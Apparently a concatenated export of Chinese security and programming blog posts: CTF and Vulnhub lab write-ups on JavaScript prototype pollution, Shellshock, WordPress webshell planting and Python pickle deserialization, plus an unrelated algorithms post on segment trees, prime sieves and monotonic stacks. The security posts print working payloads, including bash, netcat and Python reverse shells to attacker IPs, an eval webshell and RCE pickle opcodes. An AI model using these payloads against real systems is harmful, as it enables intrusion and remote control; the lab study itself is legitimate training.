原型链污染的概念是什么?\n在一个应用中，如果攻击者控制并修改了一个对象的原型，那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。\ncode 1 2 3 4 5 6 7 8 9 10 11 12 function Foo() { this.bar = 1 } Foo.prototype.show = function show() { console.log(this.bar) } let foo = new Foo() foo.show() //output -\u0026gt; 1 我们可以认为原型prototype是类Foo的一个属性，而所有用Foo类实例化的对象，都将拥有这个属性中的所有内容，包括变量和方法。\n我们可以通过Foo.prototype来访问Foo类的原型，但Foo实例化出来的对象，是不能通过prototype访问原型的。\n一个Foo类实例化出来的foo对象，可以通过foo.__proto__属性来访问Foo类的原型\n简而言之：用 prototype 无法直接访问，需要使用 __proto__ 访问。prototype 是一个指针属性。\n1 2 3 foo.__proto__ == Foo.prototype console.log(foo.__proto__ == Foo.prototype) //output -\u0026gt; true __proto__：指向原型对象的构造器。 constructor：指向当前对象的构造器。 原型链污染是什么?\nfoo.__proto__指向的是Foo类的prototype。那么，如果我们修改了foo.__proto__中的值，就可以修改Foo类\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // foo是一个简单的JavaScript对象 let foo = {bar: 1} // foo.bar 此时为1 console.log(foo.bar) // 修改foo的原型（即Object） foo.__proto__.bar = 2 // 由于查找顺序的原因，foo.bar仍然是1 //jiujinyz console.log(foo.bar) // 此时再用Object创建一个空的zoo对象 let zoo = {} // 查看zoo.bar console.log(zoo.bar)//output --\u0026gt; 2 哪些情况下原型链会被污染\n哪些情况下我们可以设置__proto__的值呢？其实找找能够控制数组（对象）的“键名”的操作即可\n1 2 3 4 5 6 7 8 9 function merge(target, source) { for (let key in source) { if (key in source \u0026amp;\u0026amp; key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } 在合并的过程中，存在赋值的操作target[key] = source[key]，那么，这个key如果是__proto__，是不是就可以原型链污染\n1 2 3 4 5 6 7 let o1 = {} let o2 = JSON.parse(\u0026#39;{\u0026#34;a\u0026#34;: 1, \u0026#34;__proto__\u0026#34;: {\u0026#34;b\u0026#34;: 2}}\u0026#39;) merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) JSON解析的情况下，__proto__会被认为是一个真正的“键名”\nexample KittenDIY 150pt code\n1 //...... test\n1 2 3 4 curl -H \u0026#39;Content-Type: application/json\u0026#39; http://localhost:3000/diy -d \u0026#39;{\u0026#34;fakename\u0026#34;:\u0026#34;asd\u0026#34;}\u0026#39; curl -H \u0026#39;Content-Type: application/json\u0026#39; http://localhost:3000/diy -d \u0026#39;{\u0026#34;__proto__\u0026#34;:\u0026#34;asd\u0026#34;}\u0026#39; //TypeError: JSON-Patch: modifying `__proto__` prop is banned for security reasons 由于出题人太懒post没写回显所以post没反应很正常，自己切回主页就能看到效果\nbypass\n1 2 console.log(kitten.__proto__ == kitten.constructor.prototype) //output --\u0026gt; true payload here push\n1 2 3 \u0026#34;path\u0026#34;: \u0026#34;/\u0026#34; + property curl -H \u0026#39;Content-Type: application/json\u0026#39; http://localhost:3000/diy -d \u0026#39;{\u0026#34;constructor/prototype/ffffake\u0026#34;:\u0026#34;asd\u0026#34;}\u0026#39; CVE-2020-7699 https://www.freebuf.com/vuls/246029.html rce payload\ncurl -H \u0026#39;Content-Type: application/json\u0026#39; http://localhost:3000/diy -d \u0026#34;{\\\u0026#34;constructor/prototype/outputFunctionName\\\u0026#34;:\\\u0026#34;_tmp1;global.process.mainModule.require(\u0026#39;child_process\u0026#39;).exec(\u0026#39;curl 127.0.0.1:11333\u0026#39;);var __tmp2\\\u0026#34;}\u0026#34; ","date":"2022-01-18T00:00:00Z","permalink":"/2022/01/18/prototype-pollution/","title":"原型链污染"},{"content":"靶机练习 SickOs 1.1 发现主机 netdiscover arp-scan -l nmap -sP 192.168.221.1/24 nmap -sS -sV -T4 -A -p- -Pn 192.168.221.134 扫到网络代理\n1 2 3 4 5 3128/tcp open http-proxy Squid http proxy 3.1.19 |_http-server-header: squid/3.1.19 |_http-title: ERROR: The requested URL could not be retrieved 8080/tcp closed http-proxy 直接访问8080被拒绝，挂他代理访问\n扫描漏洞 nikto 扫一波漏洞 nikto -h 192.168.221.134 -useproxy http://192.168.221.134:3128 socks5://127.0.0.1:7890 可以打cve也可以打web后台 Apache mod_cgi - ‘Shellshock’ Remote Command Injection - Linux remote Exploit (exploit-db.com) python exp.py payload=reverse rhost=192.168.221.134 lhost=172.17.112.3 lport=11122 proxy=192.168.221.134:3128 pages=/cgi-bin/status/ 没打通 手打 curl -v --proxy 192.168.221.134:3128 \\ http://192.168.221.134/cgi-bin/status -H \u0026#34;Referer: () { test;}; echo \u0026#39;Content-Type: text/plain\u0026#39;; echo; echo; /usr/bin/id; exit\u0026#34; curl -v --proxy 192.168.221.134:3128 \\ 192.168.221.134/cgi-bin/status -H \u0026#34;Referer: () { test;}; 0\u0026lt;\u0026amp;28-;exec 28\u0026lt;\u0026gt;/dev/tcp/172.17.112.3/11122;/bin/sh \u0026lt;\u0026amp;28 \u0026gt;\u0026amp;28 2\u0026gt;\u0026amp;28\u0026#34; getshell 默认地址Wolf CMS：http://192.168.221.134/wolfcms/?/admin\n默认密码admin/admin\n上传大马 登录大马 查看配置文件 有密码\n尝试登录 sickos 密码john@123\nsudo -l Linux sudo命令 | 菜鸟教程 (runoob.com) -l 显示出自己（执行 sudo 的使用者）的权限 sudo 使用权限：在 /etc/sudoers 中有出现的使用者。 cat /etc/cron.d/automate 查看定时任务 /var/www/connect.py 写反弹shell进去可以弹root出来 成功提权 结束 BSides-Vancouver-2018-Workshop 扫描服务 nmap -sS -sV -T4 -A -p- -Pn 192.168.221.135 Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-27 15:08 CST Nmap scan report for bogon (192.168.221.135) Host is up (0.0010s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.221.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 2.3.5 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA) | 2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA) |_ 256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/backup_wordpress |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.2.22 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=11/27%OT=21%CT=1%CU=32261%PV=Y%DS=2%DC=T%G=Y%TM=61A1D9 OS:8D%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=I%II=I%TS=8)OP OS:S(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST OS:11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC OS:N(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F= OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5( OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z% OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=C95%RUD=G)IE(R=Y%DFI=N%T=40 OS:%CD=S) Network Distance: 2 hops Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 8080/tcp) HOP RTT ADDRESS 1 0.16 ms LAPTOP-3Q0LGQ5O.mshome.net (172.17.112.1) 2 0.63 ms bogon (192.168.221.135) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.14 seconds FTP server status: | Connected to 192.168.221.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 2.3.5 - secure, fast, stable |_End of status 允许匿名登录 文件users.txt.bk： abatchy john mai anne doomguy 写马 appearance -\u0026gt; Edit Themes -\u0026gt;header.php\n第一行写入\nfile_put_contents(‘./aaa.php’,’\u0026lt;?php eval($_GET[1]);’);\n保存\n访问aaa.php\nhttp://192.168.221.135/backup_wordpress/aaa.php?1=system(\u0026rsquo;ls\u0026rsquo;);\n得到权限\n拿权 反弹shell\n1 2 3 bash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/172.17.112.3/11133 0\u0026gt;\u0026amp;1\u0026#34; nc 172.17.112.3 11133 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 172.17.112.3 11222 \u0026gt;/tmp/f 也可以传个小马，连上蚁剑，，，，拉个大马进去 大马反弹shell 进入交互模式\n1 python -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; //交互 提权 查找每个用户文件，和浏览各目录文件，发现位于 /usr/local/bin/cleanup 文件，其权限是777，查看内容 为：\n#!/bin/sh\nrm -rf /var/log/apache2/* # Clean those damn logs!!\n修改内容为反弹shell\n思路 没有入手点就爆破密码用户，wpscan\n熟悉wordpress提权方式\n熟悉反弹shell的姿势\nBulldog 主机发现 netdiscover -r 192.168.0.0/24\n","date":"2021-11-27T00:00:00Z","permalink":"/2021/11/27/vulnhub-walkthrough/","title":"靶机练习"},{"content":"数据结构与算法 线段树 线段树是算法竞赛中常用的用来维护 区间信息 的数据结构。 线段树可以在o(log n)的时间复杂度内实现单点修改、区间修改、区间查询（区间求和，求区间最大值，求区间最小值）等操作。 线段树维护的信息在很多时候可以认为是满足（幺）半群的性质的信息。 参考 线段树 - OI Wiki (oi-wiki.org) 测试代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include\u0026lt;bits/stdc++.h\u0026gt; using namespace std; int a[5] = {10, 11, 12, 13, 14}; int d[100],b[100]; void build(int s, int t, int p) { // 对 [s,t] 区间建立线段树,当前根的编号为 p if (s == t) { d[p] = a[s]; return; } int m = s + ((t - s) \u0026gt;\u0026gt; 1); // 移位运算符的优先级小于加减法，所以加上括号 // 如果写成 (s + t) \u0026gt;\u0026gt; 1 可能会超出 int 范围 build(s, m, p * 2), build(m + 1, t, p * 2 + 1); // 递归对左右区间建树 d[p] = d[p * 2] + d[(p * 2) + 1]; } int getsum(int l, int r, int s, int t, int p) { // [l, r] 为查询区间, [s, t] 为当前节点包含的区间, p 为当前节点的编号 if (l \u0026lt;= s \u0026amp;\u0026amp; t \u0026lt;= r) return d[p]; // 当前区间为询问区间的子集时直接返回当前区间的和 int m = s + ((t - s) \u0026gt;\u0026gt; 1), sum = 0; if (l \u0026lt;= m) sum += getsum(l, r, s, m, p * 2); // 如果左儿子代表的区间 [l, m] 与询问区间有交集, 则递归查询左儿子 if (r \u0026gt; m) sum += getsum(l, r, m + 1, t, p * 2 + 1); // 如果右儿子代表的区间 [m + 1, r] 与询问区间有交集, 则递归查询右儿子 return sum; } void update(int l, int r, int c, int s, int t, int p) { // [l, r] 为修改区间, c 为被修改的元素的变化量, [s, t] 为当前节点包含的区间, p // 为当前节点的编号 if (l \u0026lt;= s \u0026amp;\u0026amp; t \u0026lt;= r) { d[p] += (t - s + 1) * c, b[p] += c; return; } // 当前区间为修改区间的子集时直接修改当前节点的值,然后打标记,结束修改 int m = s + ((t - s) \u0026gt;\u0026gt; 1); if (b[p] \u0026amp;\u0026amp; s != t) { // 如果当前节点的懒标记非空,则更新当前节点两个子节点的值和懒标记值 d[p * 2] += b[p] * (m - s + 1), d[p * 2 + 1] += b[p] * (t - m); b[p * 2] += b[p], b[p * 2 + 1] += b[p]; // 将标记下传给子节点 b[p] = 0; // 清空当前节点的标记 } if (l \u0026lt;= m) update(l, r, c, s, m, p * 2); if (r \u0026gt; m) update(l, r, c, m + 1, t, p * 2 + 1); d[p] = d[p * 2] + d[p * 2 + 1]; } int main() { build(0,4,1);//建树 for (int i = 0; i \u0026lt; 10; i++) { cout\u0026lt;\u0026lt;d[i]\u0026lt;\u0026lt;\u0026#34; \u0026#34;; } cout\u0026lt;\u0026lt;endl; int sum = getsum(2, 4, 0, 4, 1);//求和 cout\u0026lt;\u0026lt;sum\u0026lt;\u0026lt;endl; update(4, 4, 4, 0, 4, 1);//修改[4,4]位置上的值 sum = getsum(2, 4, 0, 4, 1);//求和 cout\u0026lt;\u0026lt;sum\u0026lt;\u0026lt;endl; } 2.4 guard (oj题目) Description 部队中共有 NN 个士兵，每个士兵有各自的能力指数 X_iX**i ，在一次演练中，指挥部确定了 MM 个需要防守的地点，按重要程度从低到高排序，依次以数字 11 到 MM 标注每个地点的重要程度，指挥部将选择 MM 个士兵依次进入指定地点进行防守任务，能力指数为 XX 的士兵防守重要程度为 YY 的地点将得到 X\\cdot YX⋅Y 的参考指数。现在士兵们排成一排，请你选择出连续的 MM 个士兵依次参加防守，使得总的参考指数值最大。\nInput 输入第一行有两个整数 N,M(1\\le N\\le1000000,1\\le M\\le 1000, M\\le N)N,M(1≤N≤1000000,1≤M≤1000,M≤N)\n第二行 NN 个整数表示每个士兵对应的能力指数 X_iX**i（1\\le X_i\\le10001≤X**i≤1000）\nOutput 输出一个整数，为最大的参考指数总和。\nSample Input 1 5 3 2 1 3 1 4 Sample Output 1 17 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include\u0026lt;bits/stdc++.h\u0026gt; using namespace std; typedef long long ll; int main(){ ll n,m,tmp = 0,final = 0; scanf(\u0026#34;%lld %lld\u0026#34;, \u0026amp;n, \u0026amp;m); ll a[n + 1],b[n + 1],c[n + 1]; a[0] = 0; b[0] = 0; c[0] = 0; for (int i = 1; i \u0026lt; n + 1; i++) { scanf(\u0026#34;%lld\u0026#34;,\u0026amp;a[i]); b[i] = b[i - 1] + a[i]; c[i] = c[i - 1] + b[i]; if (i \u0026gt;= m) { if ( i==m ){ tmp = m * b[i] - c[i - 1]; } else { tmp = m * b[i] - c[i - 1] + c[i - 1 - m]; } final = final \u0026gt; tmp ? final : tmp; } } printf(\u0026#34;%lld\u0026#34;,final); return 0; } 线段树的基本结构与建树 线段树将每个长度不为1的区间划分成左右两个区间递归求解，把整个线段划分为一个树形结构，通过合并左右两区间信息来求得该区间的信息。这种数据结构可以方便的进行大部分的区间操作。\n有个大小为5的数组a = {10, 11, 12, 13, 14}，要将其转化为线段树\n红色表示区间 d[i] 表示集合和\ndi的左儿子节点就是d2xi ， di的右儿子节点就是d2xi+1 。如果 di表示的是区间[s,t] ,那么di的左儿子节点表示的是区间[s,(s+t)/2] di的右儿子表示的是区间[(s+t)/2+1,t]\n递归建树 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // C++ Version void build(int s, int t, int p) { // 对 [s,t] 区间建立线段树,当前根的编号为 p if (s == t) { d[p] = a[s]; return; } int m = s + ((t - s) \u0026gt;\u0026gt; 1); // 移位运算符的优先级小于加减法，所以加上括号 // 如果写成 (s + t) \u0026gt;\u0026gt; 1 可能会超出 int 范围 build(s, m, p * 2), build(m + 1, t, p * 2 + 1); // 递归对左右区间建树 d[p] = d[p * 2] + d[(p * 2) + 1]; } 关于线段树的空间：如果采用堆式存储（2p 是p 的左儿子，2p+1 是 p的右儿子），若有 n个叶子结点，则 d 数组的范围最大为2的logn + 1 次方 。 懒得计算的话可以直接把数组长度设为 4n 线段树的区间查询 一般地，如果要查询的区间是 [l,r]，则可以将其拆成最多为 O(log n)个 极大 的区间，合并这些区间即可求出 [l,r]的答案。\n1 2 3 4 5 6 7 8 9 10 11 12 // C++ Version int getsum(int l, int r, int s, int t, int p) { // [l, r] 为查询区间, [s, t] 为当前节点包含的区间, p 为当前节点的编号 if (l \u0026lt;= s \u0026amp;\u0026amp; t \u0026lt;= r) return d[p]; // 当前区间为询问区间的子集时直接返回当前区间的和 int m = s + ((t - s) \u0026gt;\u0026gt; 1), sum = 0; if (l \u0026lt;= m) sum += getsum(l, r, s, m, p * 2); // 如果左儿子代表的区间 [l, m] 与询问区间有交集, 则递归查询左儿子 if (r \u0026gt; m) sum += getsum(l, r, m + 1, t, p * 2 + 1); // 如果右儿子代表的区间 [m + 1, r] 与询问区间有交集, 则递归查询右儿子 return sum; } 线段树的区间修改与懒惰标记 如果要求修改区间 ，[l,r]把所有包含在区间 [l,r]中的节点都遍历一次、修改一次，时间复杂度无法承受。这里要引入一个叫做 「懒惰标记」 的东西。\n懒惰标记，简单来说，就是通过延迟对节点信息的更改，从而减少可能不必要的操作次数。每次执行修改时，我们通过打标记的方法表明该节点对应的区间在某一次操作中被更改，但不更新该节点的子节点的信息。实质性的修改则在下一次访问带有标记的节点时才进行。\n以最开始的图为例，我们将执行若干次给区间内的数加上一个值的操作。我们现在给每个节点增加一个ti ，表示该节点带的标记值。\n现在我们准备给 [3,5]上的每个数都加上 5。我们直接在这两个节点上进行修改，并给它们打上标记：\n我们通过递归找到 [4,5]区间，发现该区间并非我们的目标区间，且该区间上还存在标记。这时候就到标记下放的时间了。我们将该区间的两个子区间的信息更新，并清除该区间上的标记。\n区间修改（区间加上某个值）：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // C++ Version void update(int l, int r, int c, int s, int t, int p) { // [l, r] 为修改区间, c 为被修改的元素的变化量, [s, t] 为当前节点包含的区间, p // 为当前节点的编号 if (l \u0026lt;= s \u0026amp;\u0026amp; t \u0026lt;= r) { d[p] += (t - s + 1) * c, b[p] += c; return; } // 当前区间为修改区间的子集时直接修改当前节点的值,然后打标记,结束修改 int m = s + ((t - s) \u0026gt;\u0026gt; 1); if (b[p] \u0026amp;\u0026amp; s != t) { // 如果当前节点的懒标记非空,则更新当前节点两个子节点的值和懒标记值 d[p * 2] += b[p] * (m - s + 1), d[p * 2 + 1] += b[p] * (t - m); b[p * 2] += b[p], b[p * 2 + 1] += b[p]; // 将标记下传给子节点 b[p] = 0; // 清空当前节点的标记 } if (l \u0026lt;= m) update(l, r, c, s, m, p * 2); if (r \u0026gt; m) update(l, r, c, m + 1, t, p * 2 + 1); d[p] = d[p * 2] + d[p * 2 + 1]; } 欧拉筛 埃式筛法 先来介绍埃式筛法，埃式筛法的基本思想就是，当我们遍历到一个素数时，把所有该素数的倍数（自然是合数）都筛选出来，我们来看看代码：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int prime[MAXN]; bool vis[MAXN]; int cnt=0; void Era_prime(int n) { for(int i=2;i\u0026lt;=n;++i) { if(!vis[i]) prime[cnt++]=i; for(int j=i;j\u0026lt;=n;j+=i) { vis[j]=true; } } } 当我们有没被选过的素数时，加入素数数组prime并且将它的所有n以内的倍数给筛选出来（vis[j]=true），埃式筛法很容易理解，并且在效率上也比较优秀，时间复杂度为O(nlglgn)，\n但是在处理1e8以上的数据时，还是稍稍力不从心，所以接下来我们着重介绍下线性时间筛法——欧拉筛法，我们还是先来看下代码：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int prime[MAXN]; bool vis[MAXN]; int cnt=0; void Euler_prime(int n) { for(int i=2;i\u0026lt;=n;++i) { if(!vis[i]) {prime[cnt++]=i;}//vis[i]置为true或不置true都可以 for(int j=0;j\u0026lt;cnt;++j) { if(i*prime[j]\u0026gt;n)//判断是否越界 break; vis[i*prime[j]]=true;//筛数 if(i%prime[j]==0)//时间复杂度为O(n)的关键！ break; } } } oj代码 素数区间 Description dark di 在做数学题目的时候发现了一个现象，2 个相邻的素数之间存在一个区间，他把这个区间称为非素数区间，那么 dark di 想知道，给定一个正整数 xx ，xx 所在的非素数区间长度是多少呢？ 例如 23 和 29 是 2 个相邻的素数，他们之间的非素数区间是 [24,28][24,28] ，长度是 5，假设 x=27x=27 ，那么 xx 所在的非素数区间长度就是 5。如果 xx 是一个素数，则答案是 0。\n注意：素数指的是除了1和它本身以外不再有其他因数的自然数。\nInput 第一行输入一个正整数 TT ，表示接下去有 TT 次询问。\n接下去T行，每行一个正整数 xx 。(x\\le10^5)(x≤105)\n对于30%的数据，T\\le5,x\\le100T≤5,x≤100\n对于80%的数据，T\\le10,x\\le5000T≤10,x≤5000\n对于100%的数据，T\\le105,x\\le105T≤105,x≤105\nOutput 输出 TT 行，每行一个整数表示非素数区间的长度。\nSample Input 1\n1 27 Sample Output 1\n5 ac代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include\u0026lt;bits/stdc++.h\u0026gt; using namespace std; #define MAXN 200001 int prime[MAXN]; int vis[MAXN]; int cnt=0; void Euler_prime(int n) { for(int i=2;i\u0026lt;=n;++i) { if(!vis[i]) { prime[cnt++]=i; }//vis[i]置为true或不置true都可以 for(int j=0;j\u0026lt;cnt;++j) { if(i*prime[j]\u0026gt;n)//判断是否越界 break; vis[i*prime[j]]=1;//筛数 if(i%prime[j]==0)//时间复杂度为O(n)的关键！ break; } } } int main() { Euler_prime(200000); int times,tmp; scanf(\u0026#34;%d\u0026#34;,\u0026amp;times); for (int i = 0; i \u0026lt; times; i++) { scanf(\u0026#34;%d\u0026#34;,\u0026amp;tmp); if (tmp == 0 || tmp==1 || !vis[tmp]) { printf(\u0026#34;0\\n\u0026#34;); continue; } int L=1,R=cnt,mid,ans; while(L\u0026lt;=R) { mid=L+((R - L)\u0026gt;\u0026gt;1); if (prime[mid]\u0026lt;tmp) { ans=mid; L=mid+1; } else R=mid-1; } printf(\u0026#34;%d\\n\u0026#34;,prime[ans+1]-prime[ans]-1); } return 0; } 单调栈 概念 u从名字上就听的出来，单调栈中存放的数据应该是有序的，所以单调栈也分为单调递增栈和单调递减栈\n•单调递增栈：单调递增栈就是从栈底到栈顶数据是从大到小\n•单调递减栈：单调递减栈就是从栈底到栈顶数据是从小到大\n•单调递增栈可以找到左起第一个比当前数字小的元素\n•单调递减栈可以找到左起第一个比当前数字大的元素\n结构如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 stack\u0026lt;int\u0026gt; st; for (遍历这个数组) { if (栈空 || 栈顶元素大于等于当前比较元素) { 入栈; } else { while (栈不为空 \u0026amp;\u0026amp; 栈顶元素小于当前元素) { 栈顶元素出栈; 更新结果; } 当前数据入栈; } } oj代码 亲兄弟问题 Description 给定 nn 个整数 A_0,A_1,\\cdots,A_{n-1}A0,A1,⋯,A**n−1 组成的序列。序列中元素 A_iA**i 的亲兄弟 A_kA**k 定义为 A_iA**i 的右边最靠近它且不小于它的元素，即 k=min{j|A_j \\ge A_i} (i\u0026lt;j\u0026lt;n)k=min{j∣A**j≥A**i}(i\u0026lt;j\u0026lt;n) 。\n亲兄弟问题要求给定序列中每个元素的亲兄弟元素的位置。元素 A_iA**i 的亲兄弟元素为 A_kA**k 时，称 kk 为元素 A_iA**i 的亲兄弟元素的位置。当元素 A_iA**i 没有亲兄弟元素时，约定其亲兄弟元素的位置为 -1−1 。\n例如，当 n=10n=10 ，整数序列为 6,1,4,3,6,2,4,7,3,56,1,4,3,6,2,4,7,3,5 时，相应的亲兄弟元素位置序列为 4,2,4,4,7,6,7,-1,9,-14,2,4,4,7,6,7,−1,9,−1 。\n现在对于给定的 nn 个整数 A_0,A_1,\\cdots,A_{n-1}A0,A1,⋯,A**n−1 组成的序列，求出相应的亲兄弟元素位置序列。\nInput 输入数据有两行。\n第一行是一个数 n (1\\le n\\le600000)n(1≤n≤600000) ，表示给定 n 个整数。\n第二行是 A_0,A_1,\\cdots,A_{n-1} (A_i\\le 10^6)A0,A1,⋯,A**n−1(A**i≤106) 。\nOutput 输出计算出的与给定序列相应的亲兄弟元素位置序列。\nSample Input 1 10 6 1 4 3 6 2 4 7 3 5 Sample Output 1 4 2 4 4 7 6 7 -1 9 -1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include\u0026lt;bits/stdc++.h\u0026gt; using namespace std; int main() { int n; scanf(\u0026#34;%d\u0026#34;,\u0026amp;n); stack\u0026lt;int\u0026gt; st; int nums[n],result[n]; for (int i = 0; i \u0026lt; n; i++) { scanf(\u0026#34;%d\u0026#34;,\u0026amp;nums[i]); result[i] = -1; } for (int i = 0; i \u0026lt; n; i++) { while (!st.empty() \u0026amp;\u0026amp; nums[st.top()] \u0026lt;= nums[i]) { int temp = st.top(); st.pop(); result[temp]=i; } st.push(i); } for (int i = 0; i \u0026lt; n; i++) { cout\u0026lt;\u0026lt;result[i]\u0026lt;\u0026lt;\u0026#34; \u0026#34;; } } ","date":"2021-11-21T00:00:00Z","permalink":"/2021/11/21/data-structures-and-algorithms/","title":"数据结构与算法"},{"content":"Python 反序列化 就看了一题 md网刃和极客都没做，亏\n先解题放payload\npickle反序列化初探 - 先知社区 (aliyun.com)\nhttps://github.com/EddieIvan01/pker\npickle反序列化的利用技巧总结 – 知乎 (zhihu.com)\nPython 反序列化漏洞学习笔记 – 1ndex- – 博客园 (cnblogs.com)\npickle反序列化初探 – 先知社区 (aliyun.com)\n(28条消息) 极客巅峰2021 web opcode_y0un9er-CSDN博客\nez_python pic处可以读源码\nimport pickle import base64 from flask import Flask, request from flask import render_template,redirect,send_from_directory import os import requests import random from flask import send_file app = Flask(__name__) class User(): def __init__(self,name,age): self.name = name self.age = age def check(s): if b\u0026#39;R\u0026#39; in s: return 0 return 1 @app.route(\u0026#34;/\u0026#34;) def index(): try: user = base64.b64decode(request.cookies.get(\u0026#39;user\u0026#39;)) if check(user): user = pickle.loads(user) username = user[\u0026#34;username\u0026#34;] else: username = \u0026#34;bad,bad,hacker\u0026#34; except: username = \u0026#34;CTFer\u0026#34; pic = \u0026#39;{0}.jpg\u0026#39;.format(random.randint(1,7)) try: pic=request.args.get(\u0026#39;pic\u0026#39;) with open(pic, \u0026#39;rb\u0026#39;) as f: base64_data = base64.b64encode(f.read()) p = base64_data.decode() except: pic=\u0026#39;{0}.jpg\u0026#39;.format(random.randint(1,7)) with open(pic, \u0026#39;rb\u0026#39;) as f: base64_data = base64.b64encode(f.read()) p = base64_data.decode() return render_template(\u0026#39;index.html\u0026#39;, uname=username, pic=p ) if __name__ == \u0026#34;__main__\u0026#34;: app.run(\u0026#39;0.0.0.0\u0026#39;,port=5000) 序列化字符串中不能存在 R，而 reduce 就是用到了R指令，不过也毫不意外，毕竟题目提示的就是要手写 opcode，在不使用 R 指令的情况下执行命令\nbash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/ip/port 0\u0026gt;\u0026amp;1\u0026#34; http://www.jackson-t.ca/runtime-exec-payloads.html//编码网站 bash -c {echo,base64==}|{base64,-d}|{bash,-i} RCE demo:\nR:\nb\u0026#39;\u0026#39;\u0026#39;cos system (S\u0026#39;whoami\u0026#39; tR.\u0026#39;\u0026#39;\u0026#39; i\nb\u0026#39;\u0026#39;\u0026#39;(S\u0026#39;whoami\u0026#39; ios system .\u0026#39;\u0026#39;\u0026#39; o\nb\u0026#39;\u0026#39;\u0026#39;(cos system S\u0026#39;whoami\u0026#39; o.\u0026#39;\u0026#39;\u0026#39; 选一个没有b’R’的\nexp:\nimport base64 import pickletools a = b\u0026#39;\u0026#39;\u0026#39;(S\u0026#39;bash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/ip/port 0\u0026gt;\u0026amp;1\u0026#34;\u0026#39; ios system .\u0026#39;\u0026#39;\u0026#39; a = pickletools.optimize(a) print(base64.b64encode(a)) 无过滤\n#!/usr/bin/env python3 import requests import pickle import os import base64 class exp(object): def __reduce__(self): s = \u0026#34;\u0026#34;\u0026#34;python -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;172.17.0.1\u0026#34;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\u0026#34;/bin/bash\u0026#34;,\u0026#34;-i\u0026#34;]);\u0026#39;\u0026#34;\u0026#34;\u0026#34; return (os.system, (s,)) e = exp() s = pickle.dumps(e) response = requests.get(\u0026#34;http://172.19.0.2:8000/\u0026#34;, cookies=dict( user=base64.b64encode(s).decode() )) print(response.content) 草草草我怎么这么菜？？？？？我居然找不到opcode的，，呜呜呜我连百度都不会\nPython 的序列化和反序列化是什么 Python 的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输，然后使用的时候再将字节流转化回原始的对象的一个过程。\nimport pickle class People(object): def __init__(self,name = \u0026#34;K0rz3n\u0026#34;): 